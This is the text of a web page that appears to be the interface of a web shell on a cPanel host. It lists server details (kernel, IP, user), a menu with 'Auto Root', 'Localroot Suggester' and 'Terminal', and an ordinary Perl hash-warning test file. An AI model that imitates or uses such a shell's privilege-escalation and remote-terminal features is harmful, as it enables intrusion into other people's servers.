Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
Hash-Util-FieldHash /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_load.t
1.05
KB
-r--r--r--
2014-12-27 11:48
02_function.t
8.86
KB
-r--r--r--
2014-12-27 11:48
03_class.t
2.61
KB
-r--r--r--
2014-12-27 11:48
04_thread.t
1.56
KB
-r--r--r--
2014-12-27 11:48
05_perlhook.t
5.25
KB
-r--r--r--
2014-12-27 11:48
11_hashassign.t
10.12
KB
-r--r--r--
2014-12-27 11:48
12_hashwarn.t
1.57
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl use Test::More; plan( tests => 12 ); use strict; use warnings; use Hash::Util::FieldHash qw( :all); use vars qw{ @warnings }; BEGIN { $SIG{'__WARN__'} = sub { push @warnings, @_ }; $| = 1; } my $fail_odd = 'Odd number of elements in hash assignment at '; my $fail_odd_anon = 'Odd number of elements in anonymous hash at '; my $fail_ref = 'Reference found where even-sized list expected at '; my $fail_not_hr = 'Not a HASH reference at '; { @warnings = (); fieldhash my %hash; %hash = (1..3); cmp_ok(scalar(@warnings),'==',1,'odd count'); cmp_ok(substr($warnings[0],0,length($fail_odd)),'eq',$fail_odd,'odd msg'); @warnings = (); %hash = 1; cmp_ok(scalar(@warnings),'==',1,'scalar count'); cmp_ok(substr($warnings[0],0,length($fail_odd)),'eq',$fail_odd,'scalar msg'); @warnings = (); %hash = { 1..3 }; cmp_ok(scalar(@warnings),'==',2,'odd hashref count'); cmp_ok(substr($warnings[0],0,length($fail_odd_anon)),'eq',$fail_odd_anon,'odd hashref msg 1'); cmp_ok(substr($warnings[1],0,length($fail_ref)),'eq',$fail_ref,'odd hashref msg 2'); @warnings = (); %hash = [ 1..3 ]; cmp_ok(scalar(@warnings),'==',1,'arrayref count'); cmp_ok(substr($warnings[0],0,length($fail_ref)),'eq',$fail_ref,'arrayref msg'); @warnings = (); %hash = sub { print "fenice" }; cmp_ok(scalar(@warnings),'==',1,'coderef count'); cmp_ok(substr($warnings[0],0,length($fail_odd)),'eq',$fail_odd,'coderef msg'); @warnings = (); $_ = { 1..10 }; cmp_ok(scalar(@warnings),'==',0,'hashref assign'); }